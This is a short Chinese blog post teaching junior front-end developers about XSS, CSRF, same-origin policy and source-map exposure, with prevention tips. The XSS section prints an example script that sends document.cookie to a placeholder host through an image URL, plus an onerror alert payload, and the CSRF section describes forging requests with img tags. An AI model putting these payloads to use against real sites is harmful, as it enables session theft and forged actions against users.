【网络基础】作为一个初级前端，需要知道的几个网络安全问题

庞囧

已于 2023-09-04 17:46:23 修改

阅读量823

点赞数 2

分类专栏：网络基础文章标签：前端

于 2021-05-07 21:20:43 首次发布

本文链接：https://blog.csdn.net/pagnzong/article/details/116502671

版权

10 篇文章 53 订阅

订阅专栏

前言

本文作用只是抛砖引玉，带前端小白认识几个简单的网络安全问题。如果想深入了解具体的某一项，可以对应的去百度下。

标题标记了“要记”的要重点记忆下。

里面的公私钥方法可以借鉴拿来单独对某个数据进行二次的加密。例如一些需要传给后端的敏感数据。

举例

黑客通过一些手段往你的网址body中插入<script>标签执行代码。
或者是用户输入的表单信息通过vue的v-html或者react的dangerSetInnerHTML回显到页面上，如果用户输入恶意js代码，就会发生脚本攻击。

具体说明：例如获取你的cookie

可以插入这个最简单的代码（利用img图片没有跨站限制的特性）：

<script>
  let img = document.createElement("image")
  img.src = "https://xxx.com/sss?cookie=" + document.cookie
</script>

插入这个脚本后，给你页面加了个图片标签，地址写的是一个请求并且附带了你的cookie。

又或是加个这样的img标签：

<img src="1" onerror="javascript:alert('xss')"/>

当这个img读取失败时，onerror会被执行。

预防

可以通过npm下载xss库，原理就是把<等字符转译成<的html识别符号，这样插入到dody中的script标签就直接当成文本去渲染了。

vue提供了{{}}符号，就是为了防止xss攻击，但是v-html就有风险了。v-html指令，当里面的值也存在一些脚本标签的时候，也是会执行的。所以千万不要让用户能去输入这个值。

react把很多标签原生方法重写了，也已经帮我们处理了。

还有就是提交表单的时候，内容给你输入html恶意标签，一般可以后端对入参进行处理，遇到有html的内容就给转成其他字符。

这是浏览器自带的安全策略，咱只需要考虑怎么处理接口跨域问题。

具体可看我这篇文章

通过webpack的配置，使得项目打包的时候不把js.map文件打包出来，这样上线后，如果有人恶意去查看source信息，看源码的时，是看不懂的，因为没有了map的代码映射。

比如后端返回一些标识，前端放入请求头中，每次请求都带过去，后端根据请求头中的标识做识别，校验。

举例：

一般出现在古老的一些购物网站，在购物邮件里点击外链跳到一个陌生网站，里面有个<img src="一个购物请求地址">，从而发送购物get请求。

利用的就是img无跨域限制和cookie自动添加入请求头的机制。

例如你自己可以试试，把某个网站的get请求复制下来，放在你本地的一个html文件里img标签的src属性里，然后本地访问下这个文件。你就会发现发送了复制的那个get请求，由于自动带上了某个网站的cookie，所以对方服务器根据cookie认为是个正常请求，所以正常返回数据。

post请求也是可以模拟的，利用form标签的提交行为，具体就不说了理解意思就行

预防：

不使用cookie存放用户信息，改用JWT（个人认为最好的方式）
cookie设置SameSite=lax;这样在其他网站发送post请求的时候，会校验发送网站和发送地址是否同域，不同就不带上cookie（所以这也是为啥公司都会时不时搞个钓鱼邮件）。
服务端做限制判断referrer请求来源（可不记，被淘汰了）。